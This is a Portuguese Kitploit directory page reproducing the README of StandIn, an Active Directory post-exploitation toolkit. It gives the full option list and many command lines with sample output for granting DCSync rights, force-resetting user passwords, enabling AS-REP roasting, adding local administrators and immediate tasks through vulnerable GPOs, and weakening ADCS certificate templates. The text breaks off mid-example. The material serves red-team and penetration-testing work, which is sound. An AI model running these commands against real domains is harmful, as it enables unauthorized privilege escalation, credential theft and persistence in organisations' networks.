Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
StandIn — StandIn é um pequeno kit de pós-exploração AD .NET35/45 | Kitploit
Ferramentas/GitHubGitHub/fuzzysecurity/standin
Escalada de PrivilégiosExploraçãoMovimento LateralPós-ExploraçãoTestes de PenetraçãoAnálise de DNS
GitHubfuzzysecurity/standin

StandIn

StandIn é um pequeno kit de pós-exploração AD .NET35/45

Ver Repositório
864140há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

StandIn

StandIn é um pequeno toolkit pós-comprometimento para AD. O StandIn surgiu porque recentemente na xforcered precisávamos de uma solução nativa .NET para realizar delegação restrita baseada em recursos. No entanto, o StandIn rapidamente se expandiu para incluir uma série de funcionalidades adicionais.

Pretendo continuar desenvolvendo o StandIn para aprender mais sobre programação de Serviços de Diretório e, esperançosamente, expandir uma ferramenta que se encaixe na cadeia de ferramentas de pós-exploração de AD.

Roadmap

Contribuições

Contribuições são muito bem-vindas. Por favor, garanta que os pull requests incluam os seguintes itens: descrição da funcionalidade, breve explicação técnica e saída de exemplo.

Tem algo que gostaria de ver adicionado ao StandIn, mas não tem um PR? Por favor, abra um ticket e descreva a funcionalidade da melhor forma possível.

A Fazer

Os seguintes itens estão atualmente no radar para implementação em versões futuras do StandIn.

  • Enumeração de compartilhamentos de domínio. Isso pode ser dividido em duas partes: (1) encontrar e obter uma lista única com base em diretórios home de usuários / caminhos de script / caminhos de perfil e (2) consultar objetos fTDfs / msDFS-Linkv2.
  • Encontrar e analisar GPOs para mapear usuários para grupos locais de hosts.
  • GPO -> OU & OU -> GPO.
  • Provavelmente reescrever a função de política.
  • Adicionar saída opcional em JSON/XML para algumas funções para ajudar em scripts.
  • O código precisa de uma refatoração, funções melhor modularizadas e divididas em diferentes classes.

Referências de Assuntos

  • An ACE up the sleeve (por @_wald0 & @harmj0y) - aqui
  • Kerberoasting (por @xpn) - aqui
  • Roasting AS-REPs (por @harmj0y) - aqui
  • Kerberos Unconstrained Delegation (por @spotheplanet) - aqui
  • S4U2Pwnage (por @harmj0y) - aqui
  • Resource-based Constrained Delegation (por @spotheplanet) - aqui
  • Rubeus - aqui
  • Powerview - aqui
  • Powermad (por @kevin_robertson) - aqui
  • SharpGPOAbuse (por @den_n1s & @pkb1s) - aqui
  • adidnsdump (por @_dirkjan) - aqui
  • Certified Pre-Owned (por @harmj0y & ) -

Índice

  • Ajuda
  • Operações de Objeto LDAP
    • LDAP Bruto
    • Obter objeto
    • Obter permissões de acesso do objeto
    • Conceder permissão de acesso ao objeto
    • Definir senha do objeto
    • Adicionar ASREP aos flags do objeto
    • Remover ASREP dos flags do objeto
  • SID
  • ASREP
  • PASSWD_NOTREQD
  • SPN
    • Coleta de SPN
    • Definir SPN
  • Delegação irrestrita / restrita / restrita baseada em recursos
  • DCs
  • Confiança
  • Operações de GPO
    • Listar GPOs
    • GPO adicionar administrador local
    • GPO adicionar privilégio de usuário
    • GPO adicionar tarefa imediata
    • GPO aumentar versão do Usuário / Computador
  • Política
  • DNS
  • Operações de Grupos
    • Listar associação ao grupo
    • Adicionar / remover usuário do grupo
  • Operações de Objeto Máquina
    • Criar objeto máquina
    • Desabilitar objeto máquina
    • Excluir objeto máquina
    • Adicionar msDS-AllowedToActOnBehalfOfOtherIdentity
    • Remover msDS-AllowedToActOnBehalfOfOtherIdentity
  • Serviços de Certificados do Active Directory (ADCS)

Ajuda```

__ ( / _// ~b33f __)/(//)(/(/) v1.4

----> Args? <----<

--help This help menu --object LDAP filter, e.g. samaccountname=HWest --ldap LDAP filter, can return result collection --filter Filter results, varies based on function --limit Limit results, varies based on function, defaults to 50 --computer Machine name, e.g. Celephais-01 --group samAccountName, e.g. "Necronomicon Admins" --ntaccount User name, e.g. "REDHOOK\UPickman" --sid Dependent on context --grant User name, e.g. "REDHOOK\KMason" --guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 --domain Domain name, e.g. REDHOOK --user User name --pass Password --newpass New password to set for object --gpo List group policy objects --acl Show ACL's for returned GPO's --localadmin Add samAccountName to BUILTIN\Administrators for vulnerable GPO --setuserrights samAccountName for which to add token rights in a vulnerable GPO --tasktype Immediate task type (user/computer) --taskname Immediate task name --author Immediate task author --command Immediate task command --args Immediate task command args --target Optional, filter for DNS name or NTAccount --targetsid Optional, provider user SID --increase Increment either the user or computer GPO version number for the AD object --policy Reads some account/kerberos properties from the "Default Domain Policy" --dns Performs ADIDNS enumeration, supports wildcard filters --legacy Boolean, sets DNS seach root to legacy (CN=System) --forest Boolean, sets DNS seach root to forest (DC=ForestDnsZones) --passnotreq Boolean, list accounts that have PASSWD_NOTREQD set --type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync --spn Boolean, list kerberoastable accounts --setspn samAccountName for which to add/remove an SPN --principal Principal name to add to samAccountName (e.g. MSSQL/VermisMysteriis) --delegation Boolean, list accounts with unconstrained / constrained delegation --asrep Boolean, list ASREP roastable accounts --dc Boolean, list all domain controllers --trust Boolean, list all trust relationships --adcs List all CA's and all published templates --clientauth Boolean, modify ADCS template to add/remove "Client Authentication" --ess Boolean, modify ADCS template to add/remove "ENROLLEE_SUPPLIES_SUBJECT" --pend Boolean, modify ADCS template to add/remove "PEND_ALL_REQUESTS" --owner Boolean, modify ADCS template owner --write Boolean, modify ADCS template, add/remove WriteDacl/WriteOwner/WriteProperty permission for NtAccount --enroll Boolean, modify ADCS template, add/remove "Certificate-Enrollment" permission for NtAccount --add Boolean, context dependent group/spn/adcs --remove Boolean, context dependent msDS-AllowedToActOnBehalfOfOtherIdentity/group/adcs --make Boolean, make machine; ms-DS-MachineAccountQuota applies --disable Boolean, disable machine; should be the same user that created the machine --access Boolean, list access permissions for object --delete Boolean, delete machine from AD; requires elevated AD access

----> Usage? <----<

Perform LDAP search

StandIn.exe --ldap "(&(samAccountType=805306368)(servicePrincipalName=)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" StandIn.exe --ldap servicePrincipalName= --domain redhook --user RFludd --pass Cl4vi$Alchemi4e --limit 10 StandIn.exe --ldap servicePrincipalName=* --filter "pwdlastset, distinguishedname, lastlogon" --limit 100

Query object properties by LDAP filter

StandIn.exe --object "(&(samAccountType=805306368)(servicePrincipalName=vermismysteriis.redhook.local))" StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --object samaccountname=Celephais-01$ --filter "pwdlastset, serviceprincipalname, objectsid"

Query object access permissions, optionally filter by NTAccount

StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --access StandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOK\EDerby" StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Grant object access permissions

StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Set object password

StandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!" StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add ASREP to userAccountControl flags

StandIn.exe --object samaccountname=HArmitage --asrep StandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Remove ASREP from userAccountControl flags

StandIn.exe --object samaccountname=TMalone --asrep --remove StandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Get a list of all ASREP roastable accounts

StandIn.exe --asrep StandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Return GPO objects, optionally wildcard filter and get ACL's

StandIn.exe --gpo --limit 20 StandIn.exe --gpo --filter admin --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --gpo --filter admin --acl --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add samAccountName to BUILTIN\Administrators for vulnerable GPO

StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add token rights to samAccountName in a vulnerable GPO

StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant "SeTcbPrivilege,SeDebugPrivilege" StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant SeLoadDriverPrivilege --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add user/computer immediate task and optionally filter

StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target Rllyeh.redhook.local StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype user --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target "REDHOOK\RBloch" --targetsid S-1-5-21-315358687-3711474269-2098994107-1106 StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Increment either the user or computer GPO version number for the AD object

StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype user StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype computer --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Read Default Domain Policy

StandIn.exe --policy StandIn.exe --policy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Perform ADIDNS searches

StandIn.exe --dns --limit 20 StandIn.exe --dns --filter SQL --limit 10 StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

List account that have PASSWD_NOTREQD set

StandIn.exe --passnotreq StandIn.exe --passnotreq --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Get user and SID from either a SID or a samAccountName

StandIn.exe --sid JCurwen StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Get a list of all kerberoastable accounts

StandIn.exe --spn StandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add/remove SPN from samAccountName

StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --add StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

List all accounts with unconstrained & constrained delegation privileges

StandIn.exe --delegation StandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Get a list of all domain controllers

StandIn.exe --dc

Get a list of all trust relationships in the current domain

StandIn.exe --trust

List members of group or list user group membership

StandIn.exe --group Literarum StandIn.exe --group "Magna Ultima" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --group JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add user to group

StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --add StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --add --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Remove user from group

StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --remove StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

List CA's and all published templates, optionally wildcard filter on template name

StandIn.exe --adcs StandIn.exe --adcs --filter Kingsport StandIn.exe --adcs --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add/remove "Client Authentication" from template pKIExtendedKeyUsage, filter should contain the exact name of the template

StandIn.exe --adcs --filter Kingsport --clientauth --add StandIn.exe --adcs --filter Kingsport --clientauth --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add/remove "ENROLLEE_SUPPLIES_SUBJECT" from template msPKI-Certificate-Name-Flag, filter should contain the exact name of the template

StandIn.exe --adcs --filter Kingsport --ess --add StandIn.exe --adcs --filter Kingsport --ess --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add/remove "PEND_ALL_REQUESTS" from template msPKI-Enrollment-Flag, filter should contain the exact name of the template

StandIn.exe --adcs --filter Kingsport --pend --add StandIn.exe --adcs --filter Kingsport --pend --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Change template owner, filter should contain the exact name of the template

StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Grant NtAccount WriteDacl/WriteOwner/WriteProperty, filter should contain the exact name of the template

StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Grant NtAccount "Certificate-Enrollment", filter should contain the exact name of the template

StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Create machine object

StandIn.exe --computer Innsmouth --make StandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Disable machine object

StandIn.exe --computer Arkham --disable StandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Delete machine object

StandIn.exe --computer Danvers --delete StandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Add msDS-AllowedToActOnBehalfOfOtherIdentity to machine object properties

StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

Remove msDS-AllowedToActOnBehalfOfOtherIdentity from machine object properties

StandIn.exe --computer Miskatonic --remove StandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e

root@kitploit:~
## Operações com Objetos LDAP
Todas as operações `--object` esperam que o filtro LDAP retorne um único objeto e irão sair se sua consulta retornar mais. Isto é proposital. Se você deseja obter um array de objetos, deve usar `--ldap`.

### LDAP Bruto

#### Caso de Uso

> *Operacionalmente, podemos querer recuperar um array de objetos AD e, opcionalmente, filtrar e/ou limitar os resultados e propriedades.*

#### Sintaxe

Obter todas as propriedades dos objetos resolvidos. As consultas podem ser correspondências simples para uma única propriedade ou filtros LDAP complexos. Opcionalmente, limite os resultados retornados com `--limit`.```
C:\> StandIn.exe --ldap "(&(displayName=*)(gpcfilesyspath=*))" --filter "gpcfilesyspath,versionnumber"

[?] Using DC : m-w16-dc01.main.redhook.local
[+] LDAP search result count : 3
    |_ Result limit          : 50

[?] Iterating result properties
    |_ Applying property filter => gpcfilesyspath,versionnumber

[?] Object   : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
    Path     : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
    |_ User Version     : 0
    |_ Computer Version : 1
[+] gpcfilesyspath
    |_ \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}

[?] Object   : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
    Path     : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
    |_ User Version     : 0
    |_ Computer Version : 11
[+] gpcfilesyspath
    |_ \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}

[?] Object   : CN={58890948-8DE3-4A39-8C40-F68004186693}
    Path     : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
    |_ User Version     : 2
    |_ Computer Version : 4
[+] gpcfilesyspath
    |_ \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}

Get object

Caso de Uso

Operacionalmente, podemos querer ver todas as propriedades de um objeto específico no AD. Um exemplo comum seria ver de quais grupos uma conta de usuário é membro ou quando uma conta de usuário autenticou pela última vez no domínio.

Sintaxe

Retorna o objeto resolvido. As consultas podem ser correspondências simples para uma única propriedade ou filtros LDAP complexos. Opcionalmente, filtre as propriedades que deseja obter com --filter.``` C:> StandIn.exe --object samaccountname=m-10-1909-01$

[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-01 Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local

[?] Iterating object properties

[+] logoncount |_ 360 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195797 [+] instancetype |_ 4 [+] name |_ M-10-1909-01 [+] badpasswordtime |_ 0x0 [+] pwdlastset |_ 10/9/2020 4:42:02 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-01 |_ TERMSRV/m-10-1909-01.main.redhook.local |_ WSMAN/m-10-1909-01 |_ WSMAN/m-10-1909-01.main.redhook.local |_ RestrictedKrbHost/M-10-1909-01 |_ HOST/M-10-1909-01 |_ RestrictedKrbHost/m-10-1909-01.main.redhook.local |_ HOST/m-10-1909-01.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 11/1/2020 7:40:09 PM UTC [+] usncreated |_ 31103 [+] objectguid |_ 17c80232-2ee6-47e1-9ab5-22c51c268cf0 [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 4:59:55 PM [+] adspath |_ LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-01 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:59:32 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-01.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/25/2020 1:28:32 AM |_ 7/16/2020 2:15:26 PM |_ 7/15/2020 8:54:17 PM |_ 1/1/1601 12:04:17 AM [+] lastlogon |_ 11/3/2020 10:21:11 AM UTC [+] distinguishedname |_ CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-01$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1126 [+] lastlogoff |_ 0 [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF

root@kitploit:~
### Obter permissões de acesso ao objeto

#### Caso de Uso

> *Em certas fases do engajamento, o operador pode querer resolver as permissões de acesso para um objeto específico no AD. Muitas permissões podem oferecer uma via operacional para expandir o acesso ou alcançar objetivos. Por exemplo, uma permissão WriteDacl em um grupo poderia permitir que o operador conceda a si mesmo permissões para adicionar um novo usuário ao grupo. Ferramentas como [SharpHound](https://github.com/BloodHoundAD/SharpHound3) já, em muitos casos, revelam essas fraquezas de Dacl.*

#### Sintaxe

Recupere as regras do Active Directory que se aplicam ao objeto resolvido e traduza quaisquer GUIDs de esquema / direitos para seus nomes amigáveis. Opcionalmente, filtre os resultados por um nome de NTAccount.```
C:\>StandIn.exe --object samaccountname=m-10-1909-01$ --access

[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object   : CN=M-10-1909-01
    Path     : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local

[+] Object properties
    |_ Owner : MAIN\domainjoiner
    |_ Group : MAIN\Domain Join

[+] Object access rules

[+] Identity --> NT AUTHORITY\SELF
    |_ Type       : Allow
    |_ Permission : CreateChild, DeleteChild
    |_ Object     : ANY

[+] Identity --> NT AUTHORITY\Authenticated Users
    |_ Type       : Allow
    |_ Permission : GenericRead
    |_ Object     : ANY
    
    [... Snip ...]

C:\> StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAIN\domainjoiner"

[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object   : CN=M-10-1909-01
    Path     : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local

[+] Object properties
    |_ Owner : MAIN\domainjoiner
    |_ Group : MAIN\Domain Join

[+] Object access rules

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : DeleteTree, ExtendedRight, Delete, GenericRead
    |_ Object     : ANY

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : WriteProperty
    |_ Object     : User-Account-Restrictions

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : Self
    |_ Object     : servicePrincipalName

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : Self
    |_ Object     : dNSHostName

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : WriteProperty
    |_ Object     : sAMAccountName

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : WriteProperty
    |_ Object     : displayName

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : WriteProperty
    |_ Object     : description

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : WriteProperty
    |_ Object     : User-Logon

[+] Identity --> MAIN\domainjoiner
    |_ Type       : Allow
    |_ Permission : Self
    |_ Object     : DS-Validated-Write-Computer

Conceder permissão de acesso a objeto

Caso de Uso

Com os direitos apropriados, o operador pode conceder a um NTAccount permissões especiais sobre um objeto específico no AD. Por exemplo, se um operador tiver privilégios GenericAll sobre uma conta de usuário, ele pode conceder a si mesmo ou a um NTAccount de terceiros permissão para alterar a senha do usuário sem saber a senha atual.

Sintaxe

Adicione permissão ao objeto resolvido para um NTAccount especificado. O StandIn suporta um pequeno conjunto de privilégios predefinidos (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync), mas também permite que os operadores especifiquem um guid de direitos personalizado usando a flag --guid.``` C:> whoami main\s4uuser

C:> StandIn.exe --group lowPrivButMachineAccess

[?] Using DC : m-w19-dc01.main.redhook.local [?] Group : lowPrivButMachineAccess GUID : 37e3d957-af52-4cc6-8808-56330f8ec882

[+] Members

[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : s4uUser Type : User SID : S-1-5-21-1293271031-3053586410-2290657902-1197

C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\lowPrivButMachineAccess"

[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local

[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators

[+] Object access rules

[+] Identity --> MAIN\lowPrivButMachineAccess |_ Type : Allow |_ Permission : WriteDacl |_ Object : ANY

C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --grant "MAIN\s4uuser" --type DCSync

[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local

[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators

[+] Set object access rules |_ Success, added dcsync privileges to object for MAIN\s4uuser

C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\s4uUser"

[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local

[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators

[+] Object access rules

[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-All

[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes

[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-In-Filtered-Set

root@kitploit:~
### Definir senha do objeto

#### Caso de Uso

> *Se o operador tiver permissões `User-Force-Change-Password` sobre um objeto de usuário, ele pode alterar a senha dessa conta de usuário sem saber a senha atual. Essa ação é destrutiva, pois o usuário não conseguirá mais se autenticar, o que pode levantar alarmes.*

#### Sintaxe

Definir a senha do objeto resolvido sem saber a senha atual.```
C:\> whoami
main\s4uuser

C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\lowPrivButMachineAccess"

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=User 005
    Path     : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local

[+] Object properties
    |_ Owner : MAIN\Domain Admins
    |_ Group : MAIN\Domain Admins

[+] Object access rules

[+] Identity --> MAIN\lowPrivButMachineAccess
    |_ Type       : Allow
    |_ Permission : WriteDacl
    |_ Object     : ANY

C:\> StandIn.exe --object "samaccountname=user005" --grant "MAIN\s4uuser" --type resetpassword

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=User 005
    Path     : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local

[+] Object properties
    |_ Owner : MAIN\Domain Admins
    |_ Group : MAIN\Domain Admins

[+] Set object access rules
    |_ Success, added resetpassword privileges to object for MAIN\s4uuser

C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\s4uUser"

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=User 005
    Path     : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local

[+] Object properties
    |_ Owner : MAIN\Domain Admins
    |_ Group : MAIN\Domain Admins

[+] Object access rules

[+] Identity --> MAIN\s4uUser
    |_ Type       : Allow
    |_ Permission : ExtendedRight
    |_ Object     : User-Force-Change-Password

C:\> StandIn.exe --object "samaccountname=user005" --newpass "Arkh4mW1tch!"

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=User 005
    Path     : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local

[+] Object properties
    |_ Owner : MAIN\Domain Admins
    |_ Group : MAIN\Domain Admins

[+] Setting account password
    |_ Success, password set for object

Adicionar/Remover ASREP dos flags do objeto

Caso de Uso

Se o operador tiver acesso de escrita a uma conta de utilizador, pode modificar os flags userAccountControl do utilizador para incluir DONT_REQUIRE_PREAUTH. Isso permite que o operador solicite um hash AS-REP para o utilizador que pode ser quebrado offline. Este processo é muito semelhante ao kerberoasting. Esta ação não é destrutiva, mas depende do facto de o utilizador ter uma palavra-passe que possa ser quebrada num prazo razoável.

Sintaxe

Adicionar e remover DONT_REQUIRE_PREAUTH dos flags userAccountControl do objeto resolvido.``` C:> StandIn.exe --object "samaccountname=user005" --asrep

[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local

[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD

[+] Updating userAccountControl.. |_ Success

C:> StandIn.exe --asrep

[?] Using DC : m-w16-dc01.main.redhook.local

[?] Found 1 object(s) that do not require Kerberos preauthentication..

[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH

C:> StandIn.exe --object "samaccountname=user005" --asrep --remove

[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local

